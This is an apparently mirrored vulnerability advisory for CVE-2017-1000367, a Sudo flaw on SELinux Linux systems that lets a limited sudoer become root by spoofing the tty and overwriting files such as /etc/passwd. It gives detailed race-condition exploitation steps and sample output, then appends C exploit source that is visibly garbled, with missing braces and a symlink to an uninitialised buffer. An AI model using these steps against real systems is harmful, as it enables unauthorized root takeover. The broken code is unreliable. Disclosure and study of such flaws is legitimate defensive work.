CVE-2017-1000367 in Sudo's get_process_ttyname() for Linux

ID SSV:93165
Type seebug
Reporter Root
Modified 2017-05-31T00:00:00


======================================================================== Contents ========================================================================

Analysis Exploitation Example Acknowledgments

======================================================================== Analysis ========================================================================

We discovered a vulnerability in Sudo's get_process_ttyname() for Linux: this function opens "/proc/[pid]/stat" (man proc) and reads the device number of the tty from field 7 (tty_nr). Unfortunately, these fields are space-separated and field 2 (comm, the filename of the command) can contain spaces (CVE-2017-1000367).

For example, if we execute Sudo through the symlink "./ 1 ", get_process_ttyname() calls sudo_ttyname_dev() to search for the non-existent tty device number "1" in the built-in search_devs[].

Next, sudo_ttyname_dev() calls the function sudo_ttyname_scan() to search for this non-existent tty device number "1" in a breadth-first traversal of "/dev".

Last, we exploit this function during its traversal of the world-writable "/dev/shm": through this vulnerability, a local user can pretend that his tty is any character device on the filesystem, and after two race conditions, he can pretend that his tty is any file on the filesystem.

On an SELinux-enabled system, if a user is Sudoer for a command that does not grant him full root privileges, he can overwrite any file on the filesystem (including root-owned files) with his command's output, because relabel_tty() (in src/selinux.c) calls open(O_RDWR|O_NONBLOCK) on his tty and dup2()s it to the command's stdin, stdout, and stderr. This allows any Sudoer user to obtain full root privileges.

======================================================================== Exploitation ========================================================================

To exploit this vulnerability, we:

  • create a directory "/dev/shm/_tmp" (to work around /proc/sys/fs/protected_symlinks), and a symlink "/dev/shm/_tmp/_tty" to a non-existent pty "/dev/pts/57", whose device number is 34873;

  • run Sudo through a symlink "/dev/shm/_tmp/ 34873 " that spoofs the device number of this non-existent pty;

  • set the flag CD_RBAC_ENABLED through the command-line option "-r role" (where "role" can be our current role, for example "unconfined_r");

  • monitor our directory "/dev/shm/_tmp" (for an IN_OPEN inotify event) and wait until Sudo opendir()s it (because sudo_ttyname_dev() cannot find our non-existent pty in "/dev/pts/");

  • SIGSTOP Sudo, call openpty() until it creates our non-existent pty, and SIGCONT Sudo;

  • monitor our directory "/dev/shm/_tmp" (for an IN_CLOSE_NOWRITE inotify event) and wait until Sudo closedir()s it;

  • SIGSTOP Sudo, replace the symlink "/dev/shm/_tmp/_tty" to our now-existent pty with a symlink to the file that we want to overwrite (for example "/etc/passwd"), and SIGCONT Sudo;

  • control the output of the command executed by Sudo (the output that overwrites "/etc/passwd"):

. either through a command-specific method;

. or through a general method such as "--\nHELLO\nWORLD\n" (by default, getopt() prints an error message to stderr if it does not recognize an option character).

To reliably win the two SIGSTOP races, we preempt the Sudo process: we setpriority() it to the lowest priority, sched_setscheduler() it to SCHED_IDLE, and sched_setaffinity() it to the same CPU as our exploit.

======================================================================== Example ========================================================================

We will publish our Sudoer-to-root exploit (Linux_sudo_CVE-2017-1000367.c) in the near future:

[john@...alhost ~]$ head -n 8 /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt ` [john@...alhost ~]$ sudo -l [sudo] password for john: ... User john may run the following commands on localhost: (ALL) /usr/bin/sum

[john@...alhost ~]$ ./Linux_sudo_CVE-2017-1000367 /usr/bin/sum $'--\nHELLO\nWORLD\n' [sudo] password for john:

[john@...alhost ~]$ head -n 8 /etc/passwd ``` /usr/bin/sum: unrecognized option '-- HELLO WORLD ' Try '/usr/bin/sum --help' for more information. ogin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin


======================================================================== Acknowledgments ========================================================================

We thank Todd C. Miller for his great work and quick response, and the members of the distros list for their help with the disclosure of this vulnerability.

                                                #include <errno.h>
#include <linux/sched.h>
#include <pty.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define EVENT_SIZE  ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )

int main( )

	int length, i = 0;
  int fd;
  int wd;
  char buffer[EVENT_BUF_LEN];

	int master, slave;
	char pts_path[256];

	struct sched_param params;
	params.sched_priority = 0;

	mkdir("/dev/shm/_tmp", 755);
	symlink(pts_path, "/dev/shm/_tmp/_tty");
	symlink("/usr/bin/sudo", "/dev/shm/_tmp/     34873 ");

	fd = inotify_init();
	wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE );

 	pid_t pid = fork();
	setpriority(PRIO_PROCESS, pid, 19);
	sched_setscheduler(pid, SCHED_IDLE, &params);
	if(pid == 0) {
		execlp("/dev/shm/_tmp/     34873 ", "sudo", "--\nHELLO\nWORLD\n", NULL);

	  length = read( fd, buffer, EVENT_BUF_LEN );
	  while ( i < length ) {
			struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];
			if ( event->len ) {
	      if ( event->mask & IN_OPEN ) {
					kill(pid, SIGSTOP);

					inotify_rm_watch( fd, wd );
					close( fd );

						openpty(&master, &slave, &pts_path[0], NULL, NULL);
					kill(pid, SIGCONT);

				}else if ( event->mask & IN_CLOSE_NOWRITE ) {

					kill(pid, SIGSTOP);

					inotify_rm_watch( fd, wd );
					close( fd );

					symlink("/etc/PWN", "/dev/shm/_tmp/_tty");
					kill(pid, SIGCONT);


	    i += EVENT_SIZE + event->len;


	unlink("/dev/shm/_tmp/     34873 ");